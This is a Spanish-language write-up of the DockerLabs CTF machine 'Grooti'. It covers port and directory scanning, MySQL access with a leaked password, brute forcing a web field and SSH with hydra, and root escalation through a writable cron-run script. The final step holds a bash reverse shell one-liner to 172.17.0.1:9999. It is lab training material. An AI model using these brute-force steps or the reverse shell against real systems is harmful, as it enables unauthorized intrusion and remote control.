> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/grooti.md).

# 🟩 Grooti

🧠Dificultad: Fácil | 🔓25/09/2025

## 🕵️ Reconocimiento

Escaneamos los puertos de la máquina con nmap:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fh52Od3KUgcsQ6SrOtAB2%2Fimage.png?alt=media&amp;token=35c83ecf-7602-4635-806a-2bebe04b1b53" alt=""><figcaption></figcaption></figure>

Tenemos una base de datos `mysql`, un servicio `http` y un `ssh`.

Si accedemos al `index.html`, encontramos un comentario en el código `html`:

```html
<!-- 
        I am Grooti...
        Creo que Rocket ha entrado a mi base de datos...
-->
```

En `/imagenes` encontramos un directory indexing con un `README.txt`:

```
(password1) Encuentra donde ponerla ;)
```

Si realizamos un escaneo de directorios, nos reporta lo siguiente:

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://172.17.0.2/FUZZ"
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F4WeOyqKLES1j0Aqvl8NG%2Fimage.png?alt=media&amp;token=7179e198-7181-4b9a-bf65-24a153620498" alt=""><figcaption></figcaption></figure>

Si accedemos al directorio `/secret` nos encontramos con esta página:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FBUTz67NInFriGQf0dnqx%2Fimage.png?alt=media&amp;token=0acff54d-c355-4950-aa64-aa5269eab493" alt=""><figcaption></figcaption></figure>

En las instrucciones que nos descargamos, vemos un comando escrito al final que nos sirve para entrar a la base de datos mysql:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FVQCutR34Wysi6jvY7u4N%2Fimage.png?alt=media&amp;token=7c1f059a-ad77-4603-b113-8f61370d0411" alt=""><figcaption></figcaption></figure>

Probamos con la contraseña encontrada anteriormente (`password1`):

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FoC5DnbHViDgcuFNkDkno%2Fimage.png?alt=media&amp;token=ab36ffad-6fb5-47e0-af15-2a7766ec1673" alt=""><figcaption></figcaption></figure>

Listando el contenido de la base de datos, encontramos una ruta que no conocíamos: `/unprivate/secret`.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FGoS24CTV0J16c4x5jChg%2Fimage.png?alt=media&amp;token=d37e4a55-3f25-4b49-86d1-a3b07b2d0897" alt=""><figcaption></figcaption></figure>

Si accedemos a dicha ruta, vemos esta página:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FfqEsx1qEDTeNPa1cwLzp%2Fimage.png?alt=media&amp;token=8c1f90ea-8bfb-4e40-952a-d2dbb294cbaf" alt=""><figcaption></figcaption></figure>

## 🚪 Ganando acceso

Si le hacemos fuerza bruta al campo donde se introduce el número (con `burpsuite` capturamos un request y lo mandamos al intruder), obtenemos que para el número `16` el response size es bastante mayor al normal. Si probamos a introducir un `16` en la web, nos descarga un `.zip` con el siguiente contenido:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F42WTuOCwYRkBj6q1hPj1%2Fimage.png?alt=media&amp;token=bad700c6-3f4d-4424-9c6c-1603e5427f8c" alt=""><figcaption></figcaption></figure>

Si usamos esta wordlist para el usuario `grooti`, obtenemos acceso a la máquina:

```bash
hydra -l grooti -P password16.txt ssh://$IPTARGET
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FwAy2KcttUOHs1FxknKTG%2Fimage.png?alt=media&amp;token=d3f6810b-8779-4c52-9009-a93004d9db2e" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Una vez dentro, si listamos algunas carpetas donde podría haber algo interesante, encontramos un script en `/opt`:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FKZiBGIOre7AAlobuIara%2Fimage.png?alt=media&amp;token=f9457f8a-c0b8-4b83-824d-daae50f13e09" alt=""><figcaption></figcaption></figure>

Este script llama a otro que se encuentra en `/tmp`. Este último si lo podemos modificar porque tiene permisos de escritura para el grupo grooti.

Si le echamos un vistazo al `crontab`, vemos que este script se ejecuta cada minuto.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FfcsG7SkVlHZE9uayXPeE%2Fimage.png?alt=media&amp;token=0b1da0e2-b5a2-4d39-bc63-bffae1cff2eb" alt=""><figcaption></figcaption></figure>

Editamos el fichero `malicious.sh` con una reverse shell y esperamos.

```bash
bash -i >& /dev/tcp/172.17.0.1/9999 0>&1
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F3BCjJ3keZqiXpoPMFL9f%2Fimage.png?alt=media&amp;token=08a728d6-9003-4680-a5d5-7363724e6aa6" alt=""><figcaption></figcaption></figure>
